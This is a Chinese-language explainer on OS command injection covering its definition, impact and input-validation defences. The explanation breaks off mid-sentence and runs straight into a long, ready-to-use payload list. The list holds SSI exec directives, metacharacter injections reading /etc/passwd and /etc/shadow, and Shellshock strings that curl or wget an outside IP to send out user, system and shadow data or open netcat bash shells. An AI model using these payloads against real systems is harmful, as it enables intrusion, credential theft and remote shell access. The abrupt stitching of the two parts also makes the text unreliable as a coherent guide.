命令注射是一种攻击,其目标是通过脆弱的应用程序在主机操作系统上执行任意命令。当应用程序传递不安全的用户提供的数据(表格,cookie,http标头等)到系统外壳时,命令注入攻击是可能的。在此攻击中,攻击者提供的操作系统命令通常在脆弱应用程序的特权下执行。命令注射攻击很大程度上是由于输入验证不足。
此攻击与代码注入不同,在该代码注入中,攻击者可以添加自己的代码,然后该代码由应用程序执行。在命令注入中,攻击者扩展了应用程序命令的应用程序的默认功能,而无需注入代码。
OS命令注入是一个关键的漏洞,可让攻击者能够完全控制受影响的网站和基础网络服务器。
当应用程序将用户数据纳入执行的操作系统命令中时,就会出现OS命令注射漏洞。攻击者可以操纵数据以导致自己的命令运行。这使攻击者可以执行应用程序本身可以执行的任何操作,包括阅读或修改其所有数据并执行特权动作。
除了对Web服务器本身的全部妥协外,攻击者还可以利用命令注射漏洞将攻击转移到组织的内部基础架构中,从而有可能访问Web服务器可以访问的任何系统。他们也许还能够在组织内部创建一个持久的立足点,即使在原始漏洞被固定后,也可以继续访问受损的系统。
当应用程序将可控制的数据集中到由Shell命令解释器处理的命令中时,操作系统命令注入漏洞会出现。如果未严格验证用户数据,攻击者可以使用Shell Metacharacters修改执行的命令,并注入服务器将执行的任意进一步命令。
OS命令注射漏洞通常非常严重,可能导致托管应用程序的服务器或应用程序自己的数据和功能的妥协。也可能将服务器用作攻击其他系统的平台。剥削的确切潜力取决于执行命令的安全性上下文,以及此上下文在服务器上具有敏感资源的特权。
如果可能的话,应用程序应避免将可控制的数据纳入操作系统命令。在几乎每种情况下,都有执行服务器级任务的替代方法,这些方法不能被操纵以执行比预期的命令。
如果将将用户供应数据纳入操作系统命令中被认为是不可避免的,则应使用以下两层防御来防止攻击:
用户数据应严格验证。理想情况下,应使用特定可接受值的白名单。否则,仅应接受简短的字母数字字符串。包含任何其他数据的输入,包括任何可能的外壳化合物或空格,都应拒绝。
该应用程序应使用命令API,该命令API通过其名称和命令行参数启动特定过程,而不是将命令字符串传递给支持命令链条和重定向的Shell解释器。例如,java api runtime.exec和asp.net api进程。开始不支持shell metacharacters。这种防御可以减轻
<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->
<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->
<!--#exec%20cmd="/usr/bin/id;-->
<!--#exec%20cmd="/usr/bin/id;-->
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
n/bin/ls -aln
n/usr/bin/idn
nidn
n/usr/bin/id;
nid;
n/usr/bin/id|
nid|
;/usr/bin/idn
;idn
|usr/bin/idn
|nidn
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=`whoami`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=`pwd`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=`uname -a`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=`nc -lvvp 1234 -e /bin/bash`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=`nc -lvvp 1236 -e /bin/bash &`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=5"
() { :;}; /bin/bash -c "sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6"
() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
() { :;}; /bin/bash -c "sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7"
() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9"
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=`whoami`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=`pwd`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=`uname -a`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=`nc -lvvp 1235 -e /bin/bash`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=`nc -lvvp 1237 -e /bin/bash &`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=4"
cat /etc/hosts
$(`cat /etc/passwd`)
cat /etc/passwd
%0Acat%20/etc/passwd
{{ get_user_file("/etc/passwd") }}
<!--#exec cmd="/bin/cat /etc/passwd"-->
<!--#exec cmd="/bin/cat /etc/shadow"-->
<!--#exec cmd="/usr/bin/id;-->
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>